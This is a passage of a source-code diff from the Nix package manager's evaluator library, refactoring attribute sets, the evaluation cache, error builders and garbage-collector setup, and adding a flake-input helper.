b/src/libexpr/attr-set.cc index 877116f1f..866ef817a 100644 --- a/src/libexpr/attr-set.cc +++ b/src/libexpr/attr-set.cc @@ -23,23 +23,6 @@ Bindings * EvalState::allocBindings(size_t capacity) } -/* Create a new attribute named 'name' on an existing attribute set stored - in 'vAttrs' and return the newly allocated Value which is associated with - this attribute. */ -Value * EvalState::allocAttr(Value & vAttrs, Symbol name) -{ - Value * v = allocValue(); - vAttrs.attrs->push_back(Attr(name, v)); - return v; -} - - -Value * EvalState::allocAttr(Value & vAttrs, std::string_view name) -{ - return allocAttr(vAttrs, symbols.create(name)); -} - - Value & BindingsBuilder::alloc(Symbol name, PosIdx pos) { auto value = state.allocValue(); diff --git a/src/libexpr/attr-set.hh b/src/libexpr/attr-set.hh index dcc73b506..4df9a1acd 100644 --- a/src/libexpr/attr-set.hh +++ b/src/libexpr/attr-set.hh @@ -1,10 +1,10 @@ #pragma once +///@file #include "nixexpr.hh" #include "symbol-table.hh" #include -#include namespace nix { @@ -12,7 +12,9 @@ namespace nix { class EvalState; struct Value; -/* Map one attribute name to its value. */ +/** + * Map one attribute name to its value. + */ struct Attr { /* the placement of `name` and `pos` in this struct is important. @@ -25,9 +27,9 @@ struct Attr Attr(Symbol name, Value * value, PosIdx pos = noPos) : name(name), pos(pos), value(value) { }; Attr() { }; - bool operator < (const Attr & a) const + auto operator <=> (const Attr & a) const { - return name < a.name; + return name <=> a.name; } }; @@ -36,10 +38,12 @@ static_assert(sizeof(Attr) == 2 * sizeof(uint32_t) + sizeof(Value *), "avoid introducing any padding into Attr if at all possible, and do not " "introduce new fields that need not be present for almost every instance."); -/* Bindings contains all the attributes of an attribute set. It is defined - by its size and its capacity, the capacity being the number of Attr - elements allocated after this structure, while the size corresponds to - the number of elements already inserted in this structure. */ +/** + * Bindings contains all the attributes of an attribute set. It is defined + * by its size and its capacity, the capacity being the number of Attr + * elements allocated after this structure, while the size corresponds to + * the number of elements already inserted in this structure. + */ class Bindings { public: @@ -60,24 +64,26 @@ public: typedef Attr * iterator; + typedef const Attr * const_iterator; + void push_back(const Attr & attr) { assert(size_ < capacity_); attrs[size_++] = attr; } - iterator find(Symbol name) + const_iterator find(Symbol name) const { Attr key(name, 0); - iterator i = std::lower_bound(begin(), end(), key); + const_iterator i = std::lower_bound(begin(), end(), key); if (i != end() && i->name == name) return i; return end(); } - Attr * get(Symbol name) + const Attr * get(Symbol name) const { Attr key(name, 0); - iterator i = std::lower_bound(begin(), end(), key); + const_iterator i = std::lower_bound(begin(), end(), key); if (i != end() && i->name == name) return &*i; return nullptr; } @@ -85,16 +91,26 @@ public: iterator begin() { return &attrs[0]; } iterator end() { return &attrs[size_]; } + const_iterator begin() const { return &attrs[0]; } + const_iterator end() const { return &attrs[size_]; } + Attr & operator[](size_t pos) { return attrs[pos]; } + const Attr & operator[](size_t pos) const + { + return attrs[pos]; + } + void sort(); - size_t capacity() { return capacity_; } + size_t capacity() const { return capacity_; } - /* Returns the attributes in lexicographically sorted order. */ + /** + * Returns the attributes in lexicographically sorted order. + */ std::vector lexicographicOrder(const SymbolTable & symbols) const { std::vector res; @@ -111,9 +127,11 @@ public: friend class EvalState; }; -/* A wrapper around Bindings that ensures that its always in sorted - order at the end. The only way to consume a BindingsBuilder is to - call finish(), which sorts the bindings. */ +/** + * A wrapper around Bindings that ensures that its always in sorted + * order at the end. The only way to consume a BindingsBuilder is to + * call finish(), which sorts the bindings. + */ class BindingsBuilder { Bindings * bindings; @@ -157,6 +175,20 @@ public: { return bindings; } + + size_t capacity() + { + return bindings->capacity(); + } + + void grow(Bindings * newBindings) + { + for (auto & i : *bindings) + newBindings->push_back(i); + bindings = newBindings; + } + + friend struct ExprAttrs; }; } diff --git a/src/libexpr/build-utils-meson b/src/libexpr/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libexpr/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr/call-flake.nix b/src/libexpr/call-flake.nix new file mode 100644 index 000000000..a411564df --- /dev/null +++ b/src/libexpr/call-flake.nix @@ -0,0 +1,85 @@ +# This is a helper to callFlake() to lazily fetch flake inputs. + +# The contents of the lock file, in JSON format. +lockFileStr: + +# A mapping of lock file node IDs to { sourceInfo, subdir } attrsets, +# with sourceInfo.outPath providing an SourceAccessor to a previously +# fetched tree. This is necessary for possibly unlocked inputs, in +# particular the root input, but also --override-inputs pointing to +# unlocked trees. +overrides: + +let + + lockFile = builtins.fromJSON lockFileStr; + + # Resolve a input spec into a node name. An input spec is + # either a node name, or a 'follows' path from the root + # node. + resolveInput = inputSpec: + if builtins.isList inputSpec + then getInputByPath lockFile.root inputSpec + else inputSpec; + + # Follow an input path (e.g. ["dwarffs" "nixpkgs"]) from the + # root node, returning the final node. + getInputByPath = nodeName: path: + if path == [] + then nodeName + else + getInputByPath + # Since this could be a 'follows' input, call resolveInput. + (resolveInput lockFile.nodes.${nodeName}.inputs.${builtins.head path}) + (builtins.tail path); + + allNodes = + builtins.mapAttrs + (key: node: + let + + sourceInfo = + if overrides ? ${key} + then + overrides.${key}.sourceInfo + else + # FIXME: remove obsolete node.info. + fetchTree (node.info or {} // removeAttrs node.locked ["dir"]); + + subdir = overrides.${key}.dir or node.locked.dir or ""; + + outPath = sourceInfo + ((if subdir == "" then "" else "/") + subdir); + + flake = import (outPath + "/flake.nix"); + + inputs = builtins.mapAttrs + (inputName: inputSpec: allNodes.${resolveInput inputSpec}) + (node.inputs or {}); + + outputs = flake.outputs (inputs // { self = result; }); + + result = + outputs + # We add the sourceInfo attribute for its metadata, as they are + # relevant metadata for the flake. However, the outPath of the + # sourceInfo does not necessarily match the outPath of the flake, + # as the flake may be in a subdirectory of a source. + # This is shadowed in the next // + // sourceInfo + // { + # This shadows the sourceInfo.outPath + inherit outPath; + + inherit inputs; inherit outputs; inherit sourceInfo; _type = "flake"; + }; + + in + if node.flake or true then + assert builtins.isFunction flake.outputs; + result + else + sourceInfo + ) + lockFile.nodes; + +in allNodes.${lockFile.root} diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 3e2a8665e..9019edc1f 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -1,11 +1,33 @@ +#include "users.hh" #include "eval-cache.hh" #include "sqlite.hh" #include "eval.hh" #include "eval-inline.hh" #include "store-api.hh" +// Need specialization involving `SymbolStr` just in this one module. +#include "strings-inline.hh" namespace nix::eval_cache { +CachedEvalError::CachedEvalError(ref cursor, Symbol attr) + : EvalError(cursor->root->state, "cached failure of attribute '%s'", cursor->getAttrPathStr(attr)) + , cursor(cursor), attr(attr) +{ } + +void CachedEvalError::force() +{ + auto & v = cursor->forceValue(); + + if (v.type() == nAttrs) { + auto a = v.attrs()->get(this->attr); + + state.forceValue(*a->value, a->pos); + } + + // Shouldn't happen. + throw EvalError(state, "evaluation of cached failed attribute '%s' unexpectedly succeeded", cursor->getAttrPathStr(attr)); +} + static const char * schema = R"sql( create table if not exists Attributes ( parent integer not null, @@ -21,7 +43,7 @@ struct AttrDb { std::atomic_bool failed{false}; - const Store & cfg; + const StoreDirConfig & cfg; struct State { @@ -38,7 +60,7 @@ struct AttrDb SymbolTable & symbols; AttrDb( - const Store & cfg, + const StoreDirConfig & cfg, const Hash & fingerprint, SymbolTable & symbols) : cfg(cfg) @@ -47,10 +69,10 @@ struct AttrDb { auto state(_state->lock()); - Path cacheDir = getCacheDir() + "/nix/eval-cache-v4"; + Path cacheDir = getCacheDir() + "/nix/eval-cache-v5"; createDirs(cacheDir); - Path dbPath = cacheDir + "/" + fingerprint.to_string(Base16, false) + ".sqlite"; + Path dbPath = cacheDir + "/" + fingerprint.to_string(HashFormat::Base16, false) + ".sqlite"; state->db = SQLite(dbPath); state->db.isCache(); @@ -75,7 +97,7 @@ struct AttrDb { try { auto state(_state->lock()); - if (!failed) + if (!failed && state->txn->active) state->txn->commit(); state->txn.reset(); } catch (...) { @@ -205,7 +227,7 @@ struct AttrDb (key.first) (symbols[key.second]) (AttrType::ListOfStrings) - (concatStringsSep("\t", l)).exec(); + (dropEmptyInitThenConcatStringsSep("\t", l)).exec(); return state->db.getLastInsertedRowId(); }); @@ -300,13 +322,13 @@ struct AttrDb NixStringContext context; if (!queryAttribute.isNull(3)) for (auto & s : tokenizeString>(queryAttribute.getStr(3), ";")) - context.push_back(decodeContext(cfg, s)); + context.insert(NixStringContextElem::parse(s)); return {{rowId, string_t{queryAttribute.getStr(2), context}}}; } case AttrType::Bool: return {{rowId, queryAttribute.getInt(2) != 0}}; case AttrType::Int: - return {{rowId, int_t{queryAttribute.getInt(2)}}}; + return {{rowId, int_t{NixInt{queryAttribute.getInt(2)}}}}; case AttrType::ListOfStrings: return {{rowId, tokenizeString>(queryAttribute.getStr(2), "\t")}}; case AttrType::Missing: @@ -322,7 +344,7 @@ struct AttrDb }; static std::shared_ptr makeAttrDb( - const Store & cfg, + const StoreDirConfig & cfg, const Hash & fingerprint, SymbolTable & symbols) { @@ -385,8 +407,8 @@ Value & AttrCursor::getValue() if (!_value) { if (parent) { auto & vParent = parent->first->getValue(); - root->state.forceAttrs(vParent, noPos); - auto attr = vParent.attrs->get(parent->second); + root->state.forceAttrs(vParent, noPos, "while searching for an attribute"); + auto attr = vParent.attrs()->get(parent->second); if (!attr) throw Error("attribute '%s' is unexpectedly missing", getAttrPathStr()); _value = allocRootValue(attr->value); @@ -415,12 +437,12 @@ std::vector AttrCursor::getAttrPath(Symbol name) const std::string AttrCursor::getAttrPathStr() const { - return concatStringsSep(".", root->state.symbols.resolve(getAttrPath())); + return dropEmptyInitThenConcatStringsSep(".", root->state.symbols.resolve(getAttrPath())); } std::string AttrCursor::getAttrPathStr(Symbol name) const { - return concatStringsSep(".", root->state.symbols.resolve(getAttrPath(name))); + return dropEmptyInitThenConcatStringsSep(".", root->state.symbols.resolve(getAttrPath(name))); } Value & AttrCursor::forceValue() @@ -440,14 +462,16 @@ Value & AttrCursor::forceValue() if (root->db && (!cachedValue || std::get_if(&cachedValue->second))) { if (v.type() == nString) - cachedValue = {root->db->setString(getKey(), v.string.s, v.string.context), - string_t{v.string.s, {}}}; - else if (v.type() == nPath) - cachedValue = {root->db->setString(getKey(), v.path), string_t{v.path, {}}}; + cachedValue = {root->db->setString(getKey(), v.c_str(), v.context()), + string_t{v.c_str(), {}}}; + else if (v.type() == nPath) { + auto path = v.path().path; + cachedValue = {root->db->setString(getKey(), path.abs()), string_t{path.abs(), {}}}; + } else if (v.type() == nBool) - cachedValue = {root->db->setBool(getKey(), v.boolean), v.boolean}; + cachedValue = {root->db->setBool(getKey(), v.boolean()), v.boolean()}; else if (v.type() == nInt) - cachedValue = {root->db->setInt(getKey(), v.integer), int_t{v.integer}}; + cachedValue = {root->db->setInt(getKey(), v.integer().value), int_t{v.integer()}}; else if (v.type() == nAttrs) ; // FIXME: do something? else @@ -462,12 +486,12 @@ Suggestions AttrCursor::getSuggestionsForAttr(Symbol name) auto attrNames = getAttrs(); std::set strAttrNames; for (auto & name : attrNames) - strAttrNames.insert(root->state.symbols[name]); + strAttrNames.insert(std::string(root->state.symbols[name])); return Suggestions::bestMatches(strAttrNames, root->state.symbols[name]); } -std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErrors) +std::shared_ptr AttrCursor::maybeGetAttr(Symbol name) { if (root->db) { if (!cachedValue) @@ -484,12 +508,9 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErro if (attr) { if (std::get_if(&attr->second)) return nullptr; - else if (std::get_if(&attr->second)) { - if (forceErrors) - debug("reevaluating failed cached attribute '%s'", getAttrPathStr(name)); - else - throw CachedEvalError("cached failure of attribute '%s'", getAttrPathStr(name)); - } else + else if (std::get_if(&attr->second)) + throw CachedEvalError(ref(shared_from_this()), name); + else return std::make_shared(root, std::make_pair(shared_from_this(), name), nullptr, std::move(attr)); } @@ -497,7 +518,7 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErro // evaluate to see whether 'name' exists } else return nullptr; - //throw TypeError("'%s' is not an attribute set", getAttrPathStr()); + //error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); } } @@ -505,9 +526,9 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErro if (v.type() != nAttrs) return nullptr; - //throw TypeError("'%s' is not an attribute set", getAttrPathStr()); + //error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); - auto attr = v.attrs->get(name); + auto attr = v.attrs()->get(name); if (!attr) { if (root->db) { @@ -534,9 +555,9 @@ std::shared_ptr AttrCursor::maybeGetAttr(std::string_view name) return maybeGetAttr(root->state.symbols.create(name)); } -ref AttrCursor::getAttr(Symbol name, bool forceErrors) +ref AttrCursor::getAttr(Symbol name) { - auto p = maybeGetAttr(name, forceErrors); + auto p = maybeGetAttr(name); if (!p) throw Error("attribute '%s' does not exist", getAttrPathStr(name)); return ref(p); @@ -547,11 +568,11 @@ ref AttrCursor::getAttr(std::string_view name) return getAttr(root->state.symbols.create(name)); } -OrSuggestions> AttrCursor::findAlongAttrPath(const std::vector & attrPath, bool force) +OrSuggestions> AttrCursor::findAlongAttrPath(const std::vector & attrPath) { auto res = shared_from_this(); for (auto & attr : attrPath) { - auto child = res->maybeGetAttr(attr, force); + auto child = res->maybeGetAttr(attr); if (!child) { auto suggestions = res->getSuggestionsForAttr(attr); return OrSuggestions>::failed(suggestions); @@ -571,16 +592,16 @@ std::string AttrCursor::getString() debug("using cached string attribute '%s'", getAttrPathStr()); return s->first; } else - root->state.debugThrowLastTrace(TypeError("'%s' is not a string", getAttrPathStr())); + root->state.error("'%s' is not a string", getAttrPathStr()).debugThrow(); } } auto & v = forceValue(); if (v.type() != nString && v.type() != nPath) - root->state.debugThrowLastTrace(TypeError("'%s' is not a string but %s", getAttrPathStr(), showType(v.type()))); + root->state.error("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow(); - return v.type() == nString ? v.string.s : v.path; + return v.type() == nString ? v.c_str() : v.path().to_string(); } string_t AttrCursor::getStringWithContext() @@ -592,7 +613,18 @@ string_t AttrCursor::getStringWithContext() if (auto s = std::get_if(&cachedValue->second)) { bool valid = true; for (auto & c : s->second) { - if (!root->state.store->isValidPath(c.first)) { + const StorePath & path = std::visit(overloaded { + [&](const NixStringContextElem::DrvDeep & d) -> const StorePath & { + return d.drvPath; + }, + [&](const NixStringContextElem::Built & b) -> const StorePath & { + return b.drvPath->getBaseStorePath(); + }, + [&](const NixStringContextElem::Opaque & o) -> const StorePath & { + return o.path; + }, + }, c.raw); + if (!root->state.store->isValidPath(path)) { valid = false; break; } @@ -602,18 +634,21 @@ string_t AttrCursor::getStringWithContext() return *s; } } else - root->state.debugThrowLastTrace(TypeError("'%s' is not a string", getAttrPathStr())); + root->state.error("'%s' is not a string", getAttrPathStr()).debugThrow(); } } auto & v = forceValue(); - if (v.type() == nString) - return {v.string.s, v.getContext(*root->state.store)}; + if (v.type() == nString) { + NixStringContext context; + copyContext(v, context); + return {v.c_str(), std::move(context)}; + } else if (v.type() == nPath) - return {v.path, {}}; + return {v.path().to_string(), {}}; else - root->state.debugThrowLastTrace(TypeError("'%s' is not a string but %s", getAttrPathStr(), showType(v.type()))); + root->state.error("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow(); } bool AttrCursor::getBool() @@ -626,16 +661,16 @@ bool AttrCursor::getBool() debug("using cached Boolean attribute '%s'", getAttrPathStr()); return *b; } else - root->state.debugThrowLastTrace(TypeError("'%s' is not a Boolean", getAttrPathStr())); + root->state.error("'%s' is not a Boolean", getAttrPathStr()).debugThrow(); } } auto & v = forceValue(); if (v.type() != nBool) - root->state.debugThrowLastTrace(TypeError("'%s' is not a Boolean", getAttrPathStr())); + root->state.error("'%s' is not a Boolean", getAttrPathStr()).debugThrow(); - return v.boolean; + return v.boolean(); } NixInt AttrCursor::getInt() @@ -648,16 +683,16 @@ NixInt AttrCursor::getInt() debug("using cached integer attribute '%s'", getAttrPathStr()); return i->x; } else - throw TypeError("'%s' is not an integer", getAttrPathStr()); + root->state.error("'%s' is not an integer", getAttrPathStr()).debugThrow(); } } auto & v = forceValue(); if (v.type() != nInt) - throw TypeError("'%s' is not an integer", getAttrPathStr()); + root->state.error("'%s' is not an integer", getAttrPathStr()).debugThrow(); - return v.integer; + return v.integer(); } std::vector AttrCursor::getListOfStrings() @@ -670,7 +705,7 @@ std::vector AttrCursor::getListOfStrings() debug("using cached list of strings attribute '%s'", getAttrPathStr()); return *l; } else - throw TypeError("'%s' is not a list of strings", getAttrPathStr()); + root->state.error("'%s' is not a list of strings", getAttrPathStr()).debugThrow(); } } @@ -680,12 +715,12 @@ std::vector AttrCursor::getListOfStrings() root->state.forceValue(v, noPos); if (v.type() != nList) - throw TypeError("'%s' is not a list", getAttrPathStr()); + root->state.error("'%s' is not a list", getAttrPathStr()).debugThrow(); std::vector res; for (auto & elem : v.listItems()) - res.push_back(std::string(root->state.forceStringNoCtx(*elem))); + res.push_back(std::string(root->state.forceStringNoCtx(*elem, noPos, "while evaluating an attribute for caching"))); if (root->db) cachedValue = {root->db->setListOfStrings(getKey(), res), res}; @@ -703,17 +738,17 @@ std::vector AttrCursor::getAttrs() debug("using cached attrset attribute '%s'", getAttrPathStr()); return *attrs; } else - root->state.debugThrowLastTrace(TypeError("'%s' is not an attribute set", getAttrPathStr())); + root->state.error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); } } auto & v = forceValue(); if (v.type() != nAttrs) - root->state.debugThrowLastTrace(TypeError("'%s' is not an attribute set", getAttrPathStr())); + root->state.error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); std::vector attrs; - for (auto & attr : *getValue().attrs) + for (auto & attr : *getValue().attrs()) attrs.push_back(attr.name); std::sort(attrs.begin(), attrs.end(), [&](Symbol a, Symbol b) { std::string_view sa = root->state.symbols[a], sb = root->state.symbols[b]; @@ -734,8 +769,9 @@ bool AttrCursor::isDerivation() StorePath AttrCursor::forceDerivation() { - auto aDrvPath = getAttr(root->state.sDrvPath, true); + auto aDrvPath = getAttr(root->state.sDrvPath); auto drvPath = root->state.store->parseStorePath(aDrvPath->getString()); + drvPath.requireDerivation(); if (!root->state.store->isValidPath(drvPath) && !settings.readOnlyMode) { /* The eval cache contains 'drvPath', but the actual path has been garbage-collected. So force it to be regenerated. */ diff --git a/src/libexpr/eval-cache.hh b/src/libexpr/eval-cache.hh index c93e55b93..b1911e3a4 100644 --- a/src/libexpr/eval-cache.hh +++ b/src/libexpr/eval-cache.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "sync.hh" #include "hash.hh" @@ -9,14 +10,28 @@ namespace nix::eval_cache { -MakeError(CachedEvalError, EvalError); - struct AttrDb; class AttrCursor; +struct CachedEvalError : EvalError +{ + const ref cursor; + const Symbol attr; + + CachedEvalError(ref cursor, Symbol attr); + + /** + * Evaluate this attribute, which should result in a regular + * `EvalError` exception being thrown. + */ + [[noreturn]] + void force(); +}; + class EvalCache : public std::enable_shared_from_this { friend class AttrCursor; + friend struct CachedEvalError; std::shared_ptr db; EvalState & state; @@ -72,6 +87,7 @@ typedef std::variant< class AttrCursor : public std::enable_shared_from_this { friend class EvalCache; + friend struct CachedEvalError; ref root; typedef std::optional, Symbol>> Parent; @@ -101,17 +117,19 @@ public: Suggestions getSuggestionsForAttr(Symbol name); - std::shared_ptr maybeGetAttr(Symbol name, bool forceErrors = false); + std::shared_ptr maybeGetAttr(Symbol name); std::shared_ptr maybeGetAttr(std::string_view name); - ref getAttr(Symbol name, bool forceErrors = false); + ref getAttr(Symbol name); ref getAttr(std::string_view name); - /* Get an attribute along a chain of attrsets. Note that this does - not auto-call functors or functions. */ - OrSuggestions> findAlongAttrPath(const std::vector & attrPath, bool force = false); + /** + * Get an attribute along a chain of attrsets. Note that this does + * not auto-call functors or functions. + */ + OrSuggestions> findAlongAttrPath(const std::vector & attrPath); std::string getString(); @@ -129,7 +147,9 @@ public: Value & forceValue(); - /* Force creation of the .drv file in the Nix store. */ + /** + * Force creation of the .drv file in the Nix store. + */ StorePath forceDerivation(); }; diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc new file mode 100644 index 000000000..cdb0b4772 --- /dev/null +++ b/src/libexpr/eval-error.cc @@ -0,0 +1,114 @@ +#include "eval-error.hh" +#include "eval.hh" +#include "value.hh" + +namespace nix { + +template +EvalErrorBuilder & EvalErrorBuilder::withExitStatus(unsigned int exitStatus) +{ + error.withExitStatus(exitStatus); + return *this; +} + +template +EvalErrorBuilder & EvalErrorBuilder::atPos(PosIdx pos) +{ + error.err.pos = error.state.positions[pos]; + return *this; +} + +template +EvalErrorBuilder & EvalErrorBuilder::atPos(Value & value, PosIdx fallback) +{ + return atPos(value.determinePos(fallback)); +} + +template +EvalErrorBuilder & EvalErrorBuilder::withTrace(PosIdx pos, const std::string_view text) +{ + error.addTrace(error.state.positions[pos], text); + return *this; +} + +template +EvalErrorBuilder & EvalErrorBuilder::withSuggestions(Suggestions & s) +{ + error.err.suggestions = s; + return *this; +} + +template +EvalErrorBuilder & EvalErrorBuilder::withFrame(const Env & env, const Expr & expr) +{ + // NOTE: This is abusing side-effects. + // TODO: check compatibility with nested debugger calls. + // TODO: What side-effects?? + error.state.debugTraces.push_front(DebugTrace{ + .pos = error.state.positions[expr.getPos()], + .expr = expr, + .env = env, + .hint = HintFmt("Fake frame for debugging purposes"), + .isError = true}); + return *this; +} + +template +EvalErrorBuilder & EvalErrorBuilder::addTrace(PosIdx pos, HintFmt hint) +{ + error.addTrace(error.state.positions[pos], hint); + return *this; +} + +template +template +EvalErrorBuilder & +EvalErrorBuilder::addTrace(PosIdx pos, std::string_view formatString, const Args &... formatArgs) +{ + + addTrace(error.state.positions[pos], HintFmt(std::string(formatString), formatArgs...)); + return *this; +} + +template +EvalErrorBuilder & EvalErrorBuilder::setIsFromExpr() +{ + error.err.isFromExpr = true; + return *this; +} + +template +void EvalErrorBuilder::debugThrow() +{ + error.state.runDebugRepl(&error); + + // `EvalState` is the only class that can construct an `EvalErrorBuilder`, + // and it does so in dynamic storage. This is the final method called on + // any such instance and must delete itself before throwing the underlying + // error. + auto error = std::move(this->error); + delete this; + + throw error; +} + +template +void EvalErrorBuilder::panic() +{ + logError(error.info()); + printError("This is a bug! An unexpected condition occurred, causing the Nix evaluator to have to stop. If you could share a reproducible example or a core dump, please open an issue at https://github.com/NixOS/nix/issues"); + abort(); +} + +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; +template class EvalErrorBuilder; + +} diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh new file mode 100644 index 000000000..ed004eb53 --- /dev/null +++ b/src/libexpr/eval-error.hh @@ -0,0 +1,121 @@ +#pragma once + +#include "error.hh" +#include "pos-idx.hh" + +namespace nix { + +struct Env; +struct Expr; +struct Value; + +class EvalState; +template +class EvalErrorBuilder; + +/** + * Base class for all errors that occur during evaluation. + * + * Most subclasses should inherit from `EvalError` instead of this class. + */ +class EvalBaseError : public Error +{ + template + friend class EvalErrorBuilder; +public: + EvalState & state; + + EvalBaseError(EvalState & state, ErrorInfo && errorInfo) + : Error(errorInfo) + , state(state) + { + } + + template + explicit EvalBaseError(EvalState & state, const std::string & formatString, const Args &... formatArgs) + : Error(formatString, formatArgs...) + , state(state) + { + } +}; + +/** + * `EvalError` is the base class for almost all errors that occur during evaluation. + * + * All instances of `EvalError` should show a degree of purity that allows them to be + * cached in pure mode. This means that they should not depend on the configuration or the overall environment. + */ +MakeError(EvalError, EvalBaseError); +MakeError(ParseError, Error); +MakeError(AssertionError, EvalError); +MakeError(ThrownError, AssertionError); +MakeError(Abort, EvalError); +MakeError(TypeError, EvalError); +MakeError(UndefinedVarError, EvalError); +MakeError(MissingArgumentError, EvalError); +MakeError(InfiniteRecursionError, EvalError); + +struct InvalidPathError : public EvalError +{ +public: + Path path; + InvalidPathError(EvalState & state, const Path & path) + : EvalError(state, "path '%s' is not valid", path) + { + } +}; + +/** + * `EvalErrorBuilder`s may only be constructed by `EvalState`. The `debugThrow` + * method must be the final method in any such `EvalErrorBuilder` usage, and it + * handles deleting the object. + */ +template +class EvalErrorBuilder final +{ + friend class EvalState; + + template + explicit EvalErrorBuilder(EvalState & state, const Args &... args) + : error(T(state, args...)) + { + } + +public: + T error; + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & withExitStatus(unsigned int exitStatus); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & atPos(PosIdx pos); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & atPos(Value & value, PosIdx fallback = noPos); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & withTrace(PosIdx pos, const std::string_view text); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & withFrameTrace(PosIdx pos, const std::string_view text); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & withSuggestions(Suggestions & s); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & withFrame(const Env & e, const Expr & ex); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & addTrace(PosIdx pos, HintFmt hint); + + [[nodiscard, gnu::noinline]] EvalErrorBuilder & setIsFromExpr(); + + template + [[nodiscard, gnu::noinline]] EvalErrorBuilder & + addTrace(PosIdx pos, std::string_view formatString, const Args &... formatArgs); + + /** + * Delete the `EvalErrorBuilder` and throw the underlying exception. + */ + [[gnu::noinline, gnu::noreturn]] void debugThrow(); + + /** + * A programming error or fatal condition occurred. Abort the process for core dump and debugging. + * This does not print a proper backtrace, because unwinding the stack is destructive. + */ + [[gnu::noinline, gnu::noreturn]] void panic(); +}; + +} diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc new file mode 100644 index 000000000..07ce05a2c --- /dev/null +++ b/src/libexpr/eval-gc.cc @@ -0,0 +1,117 @@ +#include "error.hh" +#include "environment-variables.hh" +#include "eval-settings.hh" +#include "config-global.hh" +#include "serialise.hh" +#include "eval-gc.hh" + +#if HAVE_BOEHMGC + +# include +# if __FreeBSD__ +# include +# endif + +# include +# include +# include + +# include +# include +# include + +#endif + +namespace nix { + +#if HAVE_BOEHMGC +/* Called when the Boehm GC runs out of memory. */ +static void * oomHandler(size_t requested) +{ + /* Convert this to a proper C++ exception. */ + throw std::bad_alloc(); +} + +static inline void initGCReal() +{ + /* Initialise the Boehm garbage collector. */ + + /* Don't look for interior pointers. This reduces the odds of + misdetection a bit. */ + GC_set_all_interior_pointers(0); + + /* We don't have any roots in data segments, so don't scan from + there. */ + GC_set_no_dls(1); + + /* Enable perf measurements. This is just a setting; not much of a + start of something. */ + GC_start_performance_measurement(); + + GC_INIT(); + + GC_set_oom_fn(oomHandler); + + /* Set the initial heap size to something fairly big (25% of + physical RAM, up to a maximum of 384 MiB) so that in most cases + we don't need to garbage collect at all. (Collection has a + fairly significant overhead.) The heap size can be overridden + through libgc's GC_INITIAL_HEAP_SIZE environment variable. We + should probably also provide a nix.conf setting for this. Note + that GC_expand_hp() causes a lot of virtual, but not physical + (resident) memory to be allocated. This might be a problem on + systems that don't overcommit. */ + if (!getEnv("GC_INITIAL_HEAP_SIZE")) { + size_t size = 32 * 1024 * 1024; +# if HAVE_SYSCONF && defined(_SC_PAGESIZE) && defined(_SC_PHYS_PAGES) + size_t maxSize = 384 * 1024 * 1024; + long pageSize = sysconf(_SC_PAGESIZE); + long pages = sysconf(_SC_PHYS_PAGES); + if (pageSize != -1) + size = (pageSize * pages) / 4; // 25% of RAM + if (size > maxSize) + size = maxSize; +# endif + debug("setting initial heap size to %1% bytes", size); + GC_expand_hp(size); + } +} + +static size_t gcCyclesAfterInit = 0; + +size_t getGCCycles() +{ + assertGCInitialized(); + return static_cast(GC_get_gc_no()) - gcCyclesAfterInit; +} + +#endif + +static bool gcInitialised = false; + +void initGC() +{ + if (gcInitialised) + return; + +#if HAVE_BOEHMGC + initGCReal(); + + gcCyclesAfterInit = GC_get_gc_no(); +#endif + + // NIX_PATH must override the regular setting + // See the comment in applyConfig + if (auto nixPathEnv = getEnv("NIX_PATH")) { + globalConfig.set("nix-path", concatStringsSep(" ", EvalSettings::parseNixPath(nixPathEnv.value()))); + } + + gcInitialised = true; +} + +void assertGCInitialized() +{ + assert(gcInitialised); +} + +} // namespace nix diff --git a/src/libexpr/eval-gc.hh b/src/libexpr/eval-gc.hh new file mode 100644 index 000000000..005175eb7 --- /dev/null +++ b/src/libexpr/eval-gc.hh @@ -0,0 +1,25 @@ +#pragma once +///@file + +#include + +namespace nix { + +/** + * Initialise the Boehm GC, if applicable. + */ +void initGC(); + +/** + * Make sure `initGC` has already been called. + */ +void assertGCInitialized(); + +#ifdef HAVE_BOEHMGC +/** + * The number of GC cycles since initGC(). + */ +size_t getGCCycles(); +#endif + +} // namespace nix diff --git a/src/libexpr/eval-inline.hh b/src/libexpr/eval-inline.hh index f2f4ba725..6fa34b062 100644 --- a/src/libexpr/eval-inline.hh +++ b/src/libexpr/eval-inline.hh @@ -1,10 +1,15 @@ #pragma once +///@file +#include "print.hh" #include "eval.hh" +#include "eval-error.hh" namespace nix { -/* Note: Various places expect the allocated memory to be zeroed. */ +/** + * Note: Various places expect the allocated memory to be zeroed. + */ [[gnu::always_inline]] inline void * allocBytes(size_t n) { @@ -70,8 +75,6 @@ Env & EvalState::allocEnv(size_t size) #endif env = (Env *) allocBytes(sizeof(Env) + size * sizeof(Value *)); - env->type = Env::Plain; - /* We assume that env->values has been cleared by the allocator; maybeThunk() 